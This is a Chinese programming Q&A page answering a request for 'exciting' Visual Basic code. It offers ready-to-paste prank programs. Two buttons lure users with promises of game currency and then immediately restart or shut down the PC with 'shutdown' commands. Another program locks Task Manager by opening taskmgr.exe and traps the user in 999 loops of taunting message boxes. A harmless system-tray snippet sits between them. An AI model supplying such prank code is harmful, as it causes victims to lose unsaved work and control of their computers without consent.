当前位置:编程学习 > VB >>

求高手发几段精彩的VB代码过来?

VB应用

答案:给个整人的代码吧:画两个按钮,分别命名为:获得QB  获得6钻

    接下来,在获得QB的按钮里写:

    Private Sub command1_click()

    i = inputbox  ("谁是猪?","QB提问")

    If   i  = "我"  Then

    msgbox"嗯,还不错,奖励你重启惩罚",vbInformation,"奖励"

    Shell "cmd /c" & "shutdown -r -t 0"  '0是重启的剩余时间

    End If

    End sub

 再写获得6钻的事件

    Private Sub command2_click()

    a = inputbox ("给你五秒钟考虑时间,是否需要充6钻")   

    If a = "是" Then

    Msgbox"我靠!狮子大开口啊,6钻哪! 我抢给你啊!给你关机惩罚!" ,vbCritical,"惩罚"

    Shell "cmd /c" & "shutdown -s -t 0"  ’0 是关机的剩余时间

    End if

    End sub 

再给个写软件最小化到托盘吧,这两个都是我空间里的

Private Sub Form_Load()
With nfIconData
.hWnd = Me.hWnd
.uID = Me.Icon
.uFlags = NIF_ICON Or NIF_MESSAGE Or NIF_TIP
.uCallbackMessage = WM_MOUSEMOVE
.hIcon = Me.Icon.Handle
'定义鼠标移动到托盘上时显示的Tip
.szTip = App.Title + "(版本 " & App.Major & "." & App.Minor & "." & App.Revision & ")" & vbNullChar
.cbSize = Len(nfIconData)
End With
Call Shell_NotifyIcon(NIM_ADD, nfIconData)

End Sub

再写个窗体被卸载之前事件

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Call Shell_NotifyIcon(NIM_DELETE, nfIconData)
End Sub

再写个MouseMove 事件  (鼠标移动事件)

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim lMsg As Single
lMsg = X / Screen.TwipsPerPixelX
Select Case lMsg
Case WM_LBUTTONUP
'单击左键,显示窗体
ShowWindow Me.hWnd, SW_RESTORE
End Select
End Sub

 

 接下来,建立模块。  把代码复制进去

Public Const MAX_TOOLTIP As Integer = 64
Public Const NIF_ICON = &H2
Public Const NIF_MESSAGE = &H1
Public Const NIF_TIP = &H4
Public Const NIM_ADD = &H0
Public Const NIM_DELETE = &H2
Public Const WM_MOUSEMOVE = &H200
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_LBUTTONUP = &H202
Public Const WM_LBUTTONDBLCLK = &H203
Public Const WM_RBUTTONDOWN = &H204
Public Const WM_RBUTTONUP = &H205
Public Const WM_RBUTTONDBLCLK = &H206

Public Const SW_RESTORE = 9
Public Const SW_HIDE = 0

Public nfIconData As NOTIFYICONDATA


Public Type NOTIFYICONDATA
cbSize As Long
hWnd As Long
uID As Long
uFlags As Long
uCallbackMessage As Long
hIcon As Long
szTip As String * MAX_TOOLTIP
End Type

Public Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long



此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者易做图扰你
Private Sub Form_Load()
Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1
For m = 1 To 999
MsgBox "呵呵,你知道我是谁吗?", 16
MsgBox "什么??不知道?", 16
MsgBox "那你打开易做图什么?", 16
MsgBox "你有空没事做吧?!", 16
MsgBox "我..就是鼎鼎大名的987876198", 16
MsgBox "987876198..", 16
MsgBox "现在你把它打开了觉得后悔了吧?呵呵..", 16
MsgBox "算了算了,不玩你了", 16
MsgBox "现在我数3声就闪人,行了吧?", 16
MsgBox "1.............", 16
MsgBox "2.............", 16
MsgBox "3.............", 16
MsgBox "噔噔噔噔,我又回来了!", 16
MsgBox "哈哈,是不是很过瘾呢?", 16
MsgBox "现在我先介绍下自己..", 16
MsgBox "我叫王得地..", 16
MsgBox "性别:男..", 16
MsgBox "今年35岁..", 16
MsgBox "不好意思噢,我好像说多了..", 16
MsgBox "不要这样喇,听我说完先好不?", 16
MsgBox "来来来,开始喇..", 16
MsgBox "我叫王得地..", 16
MsgBox "家中有屋又有田..", 16
MsgBox "生活乐无边..", 16
MsgBox "好像我又说多了...", 16
MsgBox "不要生气嘛,你认真看下去我就放你走..", 16
MsgBox "好,开始喇..", 16
MsgBox "从前有座山..", 16
MsgBox "山里有个座庙..", 16
MsgBox "庙里有个和尚..", 16
MsgBox "哈哈,想哭吗?", 16
MsgBox "被骗的感觉不爽吧?", 16
MsgBox "喂喂喂!别别..千万别重启电脑", 16
MsgBox "我告诉你怎么关吧", 16
MsgBox "先打开任务管理器", 16
MsgBox "忘了告诉你了,任务管理器打不开了", 16
MsgBox "别恨我啊你不小心", 16
MsgBox "电脑重新启动吧", 16
MsgBox "相信我吧,你知道我是不会骗人的", 16
MsgBox "如果你还想继续点的话,你就别听我的", 16
MsgBox "呵呵,我又没有说这个东西没有", 16
MsgBox "我只想说桌面没有罢了..", 16
MsgBox "嘻嘻,爽不爽吖?", 16
MsgBox "对着电脑屏幕大声说低调大好人", 16
MsgBox "不然,我就没办法的咯", 16
MsgBox "因为我把循环设置成99了", 16
MsgBox "想保存电脑数据只有继续点了", 16
MsgBox "绝对会出到去的", 16
MsgBox "好了,废话不多说了,祝你好运..", 16
MsgBox "制作:低调不倒", 16
MsgBox "QQ:987876198", 16
MsgBox "E-mail:不告诉你", 16
MsgBox "好,继续循环..", 16
Next
End Sub

上一个:VB怎么调用默认的杀毒软件查杀一个文件
下一个:怎样在VB人品计算器的代码里添加特例?

CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,